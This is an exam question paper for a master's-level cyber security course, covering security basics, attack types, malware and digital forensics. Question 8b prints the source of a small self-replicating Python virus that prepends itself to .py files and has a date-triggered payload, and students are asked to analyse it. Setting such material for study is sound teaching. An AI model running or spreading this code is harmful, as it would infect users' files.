(An Autonomous Institution affiliated to V T U, Belagavi)

III Semester – Master of Technology (Computer Science)

CYBER SECURITY

Time: 03 Hours ***Maximum Marks: 100***

Instructions to candidates:

1. Answer FIVE full questions selecting one from each unit.
2. Each unit consisting of two questions of 20 marks each.

UNIT-1

			M	BT	CO
1	a	Discuss the *CIA TRIAD* model. Briefly explain the benefits and challenges of *CIA* triad.	10	2	1
	b	Explain the basic principle of firewall network. Compare the strengths and weaknesses of Stateful firewalls.	10	3	1
		OR			
2	a	Illustrate symmetric and asymmetric cryptography, with an example algorithm for each.	10	2	1
	b	Illustrate with a neat diagram concept of *DNS* and the associated attacks.	10	3	1

UNIT-2

3	a	A well-configured proxy provides robust anonymity and does not log activity – Justify how these attributes are used by attackers. Also explain how to mitigate these types of attacks.	10	3	2
	b	Consider the following law suite that was filed *The lawsuit was filed by Lane's Gifts and Collectibles on behalf of all Google advertisers who had used the service since 2002. In a $96 million settlement, Google gave advertising credits that were the equivalent of a $4.50 refund on every $1,000 spent in its advertising network during the previous four and a quarter years. For this, Google said: "We have said for some time that we believe we manage the problem of invalid clicks very well. We have a large team of expert engineers and analysts devoted to it. By far, most invalid clicks are caught by our automatic filters and discarded *before* they reach an advertiser's bill. And for the clicks that are not caught in advance, advertisers can notify Google and ask for reimbursement. We investigate those clicks, and if we determine they were invalid, we reimburse advertisers for them. We will continue to do that and believe that this settlement is further proof of our willingness to work together with advertisers to reimburse invalid clicks".* Identify the type of the attack, motive behind it, ways of doing this attack, its implication and ways to avoid this.	10	3	2
		OR			
4	a	Illustrate with examples attacker techniques and motivations.	10	3	2
	b	Illustrate with example, concept of Phishing, Smishing, Vishing, and Mobile Malicious Code.	10	3	2

UNIT-3

5	a	What are shell codes? Explain the mechanism used for implanting the shell code in the UNIX and Windows Operating System.	10	2	4
	b	Illustrate the integer overflow vulnerability. Explain with a case study how it is used by the attackers.	10	3	4
		OR			
6	a	Explain the following in detail with example. i) SQL Injection ii) Malicious PDF Files	10	2	4
	b	Discuss in detail stack-based buffer overflows.	10	3	4

UNIT-4

7	a	Define self-replicating malicious code. How do they operate? Discuss in detail about worms and viruses.	10	3	3
	b	Explain the following Evading Detection and Elevating Privileges in detail with example i) Virtual Machine Obfuscation ii) Persistent Software Techniques	10	3	3
		OR			
8	a	Illustrate the major difference between Worms and Viruses.	10	3	3
	b	Analyze the above code snippet. Identify the different phases of Virus. Illustrate what work virus does in each phase.	10	3	3

```
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
      if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
      elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
            if SIGNATURE in line:
                  infected = True
                break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
      if i>=0 and i <39:
            virusstring += line
virus.close
for fname in filestoinfect:
      f = open(fname)
      temp = f.read()
      f.close()
      f = open(fname,"w")
      f.write(virusstring + temp)
      f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day ==
25:
      print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
```

UNIT-5

9	a	Discuss the concept of chain of custody in digital forensics.	10	2	4
	b	Compare any three memory forensics frameworks based on the cost, implementation language and supported operating system.	10	3	2
		OR			
10	a	Explain the methodology used by volatility to locate the process object list. Further explain how attacks like rootkit perform direct kernel object manipulation to hide the introduced process.	10	3	4
	b	Why hash codes or values are important to demonstrate the integrity of digital evidence? List characteristics of hash functions.	10	3	2